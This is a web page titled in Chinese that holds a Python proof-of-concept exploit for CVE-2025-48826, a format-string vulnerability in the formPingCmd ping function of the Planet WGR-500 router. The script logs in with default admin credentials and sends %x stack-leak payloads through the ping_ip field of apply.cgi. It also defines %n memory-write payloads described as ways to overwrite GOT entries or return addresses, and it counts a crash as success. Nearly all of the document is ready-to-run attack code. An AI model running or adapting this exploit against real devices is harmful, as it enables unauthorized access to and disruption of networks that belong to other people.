CVE-2025-48826：Planet WGR-500路由器formPingCmd格式化字符串漏洞

#!/usr/bin/env python3 # CVE-2025-48826 - Planet WGR-500 formPingCmd Format String Vulnerability PoC # Author: Security Research # Description: Exploits format string vulnerability in formPingCmd to achieve memory corruption import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" TARGET_PORT = 80 USERNAME = "admin" PASSWORD = "admin" BASE_URL = f"http://{TARGET_HOST}:{TARGET_PORT}" def exploit(): """ Exploit the format string vulnerability in formPingCmd functionality. The vulnerability exists because user-supplied ping parameters are passed directly as format string arguments to printf-family functions. """ session = requests.Session() # Step 1: Authenticate to the router management interface login_url = f"{BASE_URL}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Authenticating to {BASE_URL}...") resp = session.post(login_url, data=login_data, verify=False, timeout=10) if "login" in resp.url.lower(): print("[-] Authentication failed. Please check credentials.") return False print("[+] Authentication successful") # Step 2: Send malicious format string payload via formPingCmd # The ping command parameter is vulnerable to format string injection ping_url = f"{BASE_URL}/apply.cgi" # Format string payload - reading stack memory to leak addresses # %x reads 4 bytes from stack, multiple %x to traverse the stack payload_leak = "AAAA" + "." .join(["%x"] * 20) # Format string payload - writing to memory using %n # This can be used to overwrite GOT entries or return addresses payload_write = "AAAA" + "%n" * 10 # Full exploit payload combining leak and write primitives payload = "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" ping_data = { "submit_button": "Ping", "change_action": "gozila_cgi", "ping_ip": payload, "ping_size": "64", "ping_count": "1" } print(f"[*] Sending format string payload to formPingCmd...") print(f"[*] Payload: {payload}") try: resp = session.post(ping_url, data=ping_data, verify=False, timeout=10) print(f"[+] Response status code: {resp.status_code}") # Check if format string was processed (leaked stack values appear in response) if any(c in resp.text for c in ["41414141", "deadbeef"]): print("[+] Format string vulnerability confirmed - stack values leaked!") return True # Check for crash indicators if resp.status_code == 500 or "error" in resp.text.lower(): print("[+] Possible memory corruption detected (server error)") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - possible crash due to memory corruption!") return True except Exception as e: print(f"[*] Exception occurred: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-48826 PoC - Planet WGR-500 Format String") print("=" * 60) if exploit(): print("\n[!] Vulnerability exploitation completed") print("[!] The target may be unstable - consider rebooting") else: print("\n[-] Exploitation may have failed")